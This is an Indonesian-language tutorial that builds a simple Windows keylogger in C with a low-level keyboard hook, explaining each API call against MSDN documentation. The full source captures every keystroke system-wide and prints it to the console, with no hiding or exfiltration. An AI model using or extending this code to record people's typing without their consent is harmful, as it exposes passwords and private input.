Keylogger adalah program yang dirancang khusus untuk melakukan monitor aktivitas keyboard dan terkadang juga disertai modifikasi data input untuk tujuan tertentu. Selama ini banyak orang cenderung menginterpretasikan keylogger sebagai program negatif yang merugikan. Padahal ada banyak sekali manfaat yang bisa diperoleh dari implementasi fitur keylogger semacam ini. Misalnya, jika bisa kreatif, coba untuk membuat progra untuk mencegah penulisan kata kotor, atau mencegah anak mengetik alamat web yang tidak pantas diakses. Keren bukan?
Membuat keylogger adalah mudah jika kita tahu dasar-dasar Windows API. Walaupun tidak, MSDN memiliki dokumen lengkap yang bisa diakses setiap waktu untuk mempelajari setiap elemen dasar fungsi API Windows. Begitu juga dengan tulisan ini, sebagian besar penjelasannya mengutip dokumentasi MSDN. Nanti, saya juga akan sertakan link sumbernya, agar kalian juga dapat mempelajari sumber aslinya lebih detail. Harapan saya, tutorial ini bisa menjadi rujukan, sekaligus inspirasi untuk project kalian selanjutnya.
Berikut ini adalah 30 baris kode yang hasilnya sudah dapat berjalan sebagai keylogger sederhana.
#include <stdio.h> #include <windows.h> LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){ DWORD type; KBDLLHOOKSTRUCT *hooks; if(nCode == HC_ACTION){ type = (DWORD) wParam; hooks = (KBDLLHOOKSTRUCT *) lParam; if (type == WM_KEYDOWN) printf("%c",hooks->vkCode); if (hooks->vkCode == 0x51) PostQuitMessage(0); } return CallNextHookEx(NULL, nCode, wParam, lParam); } HHOOK hooker; int main(){ hooker = SetWindowsHookEx(WH_KEYBOARD_LL, &LowLevelKeyboardProc, NULL, 0 ); if(!hooker) printf("Error register hook\n"); MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } UnhookWindowsHookEx(hooker); }
Sebuah keylogger memanfaatkan salah satu fitur internal Windows, yaitu hook. Mekanisme hook bekerja layaknya filter yang dipasang untuk menyaring data yang dikehendaki. Sebuah hook juga dapat berperan layaknya pipa, ia hanya perlu memonitor setiap data yang terlintas, seperti inilah cara keylogger bekerja.
Install Hook
Di Windows, hook dibuat dengan SetWindowsHookEx() dan dihentikan dengan UnhookWindowsHookEx().
HHOOK WINAPI SetWindowsHookEx( int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId );
Parameter idHook adalah jenis hook yang ingin kamu pasang. Di sini ada beberapa varian hook yang bisa digunakan, misal WH_CALLWNDPROC untuk memfilter Window event, dan WH_MOUSE untuk memfilter aktivitas mouse. Sedangkan untuk keylogger, WH_KEYBOARD_LL adalah pilihan yang tepat.
Kemudian parmeter lpfn harus merujuk sebagai pointer kepada fungsi callback yang kita sediakan untuk melakukan filter/monitoring. Setiap jenis id hook akan memiliki bentuk fungsi yang berbeda. Untuk melihat referensi lengkap tentang bentuk fungsi callback tiap id hook, lihat MSDN. Di bawah nanti anda juga bisa melihat bagaimana bentuk callback untuk WH_KEYBOARD_LL.
Terakhir ada 2 parameter yang tidak terlalu penting untuk dibahas detail sekarang. Singkatnya hMod adalah nilai handle DLL, apabila hook dibuat dari shared library; dwThreadId adalah id thread pembuat hook. Kedua nilai ini bisa dikosongi jika program kita tidak berhubungan dengan shared library dan thread.
Jika fungsi berhasil membuat hook, nilai yang dikembalikan berupa handle hook yang nilainya dapat dipastikan bukan 0.
Ref: https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx
Uninstall Hook
Setelah selesai, gunakan fungsi unhook seperti berikut ini, dengan argumen hhk berupa handle ke hook yang dibuat sebelumnya. Meski saat program keluar, hook akan otomatis terhapus, melepas hook secara manual sebelum program keluar sangatlah dianjurkan.
BOOL WINAPI UnhookWindowsHookEx(
HHOOK hhk
);
Hook Run-time
Contoh program dalam tulisan ini bekerja sebagai program konsol. Meski begitu, sebenarnya hook hanya dianjurkan untuk program desktop dengan tampilan GUI saja. Agar hook dapat bekerja, beberapa baris kode berikut harus ditambahkan.
MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); }
Tanpa kode di atas, hook tidak akan bekerja pada program konsol. Pada kode di atas fungsi GetMessage() akan terus memproses window event dari sistem secara loop. Event ini terjadi ketika sebuah window menerima input dari user ataupun sistem, misalnya saja ketika kita mengetik dan mengklik di area window tersebut.
Sebuah pesan umumnya berasal dari keyboard. Fungsi TranslateMessage() bertugas memproses data mentah keyboard ini ke bentuk yang siap diproses oleh program. Sedangkan DispatchMessage() bertugas untuk mengirimkan pesan data ini kepada yang membutuhkan. Nah, dari sini jugalah data keylogger dikirim, sehingga WAJIB hukumnya untum mengeksekusi fungsi ini.
Ketika program mendapat instruksi untuk berhenti, GetMessage() akan mengembalikan nilai 0 (FALSE). Saat iniah kita harus menghentikan hook dan mengeluarkan program.
Ref : https://msdn.microsoft.com/en-us/library/windows/desktop/ms644936(v=vs.85).aspx
Hook Callback
Dibawah ini adalah bentuk fungsi callback untuk WH_KEYBOARD_LL, berikut penjelasan setiap parameternya.
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam );
Pertama, nCode adalah kode yang menentukan bagaimana callback harus memproses parameter wParam dan lParam. Menurut MSDN, apabila nCode < 0, callback harus memanggil CallNextHook() TANPA memproses wParam dan lParam. Kemudian segera mengembalikan nilai yang dihasilkan oleh CallNextHook() sebagai return value.
Kedua, wParam menunjukkan jenis pesan yang harus diproses. Nilainya dapat berupa salah satu dari nilai berikut : WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, atau WM_SYSKEYUP.
Ketiga, lParam menunjuk ke struktur KBDLLHOOKSTRUCT. Dari struktur data ini, kita bisa mngetahui tombol mana yang sedang ditekan atau dilepas.
typedef struct tagKBDLLHOOKSTRUCT { DWORD vkCode; DWORD scanCode; DWORD flags; DWORD time; ULONG_PTR dwExtraInfo; } KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT;
Misalnya, jika wParam = WM_KEYDOWN dan wParam->vkCode = 0x41 (tombol A), artinya A sedang ditekan. Namun, jik wParam = WM_KEYUP, artinya tombol tersebut sedang dilepaskan.
Kode berikut akan mencetak karakter hanya apabila tombol ditekan. Apabila tombol Q ditekan, fungsi PostQuitMessage() dipanggil untuk memberikan instruksi pmberhentian program. Fungsi inilah yang akan memicu GetMessage() mengembalikan 0 dan segera bergenti dari loop.
Ref. Hook struct : https://msdn.microsoft.com/en-us/library/windows/desktop/ ms644967(v=vs.85) .aspx
Ref. vkCode : https://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
Ref. Msg : https://msdn.microsoft.com/en-us/library/windows/desktop/ff468870(v=vs.85).aspx
if(nCode == HC_ACTION){ type = (DWORD) wParam; hooks = (KBDLLHOOKSTRUCT *) lParam; if (type == WM_KEYDOWN) printf("%c",hooks->vkCode); if (hooks->vkCode == 'Q') PostQuitMessage(0); }
Ada satu fungsi yang belum kita bahas, CallNextHookEx(). Pada dasarnya, setiap program memiliki hook default yang terpasang untuk memperoleh pesan dari sistem. Jadi pendaftaran hook akan bekerja dengan menambahkan hook tambahan baru yang diproses secara manual oleh program. Dengan memanggil CallNextHook(), artinya kita akan memanggil hook default yang memerlukan. Sebagai contoh, jika fungsi ini tidak dipanggil dengan benar, program lain tidak akan dapat menerima input keyboard sampai program pemilik hook ini berhenti.
LRESULT WINAPI CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam );
Ref : https://msdn.microsoft.com/en-us/library/windows/desktop/ms644974(v=vs.85).aspx
Namakan kode sebagai keylog.c, lalu build sebagai exe dengan perintah:
gcc keylog.c -o keylog.exe
Hasinya...
0 comments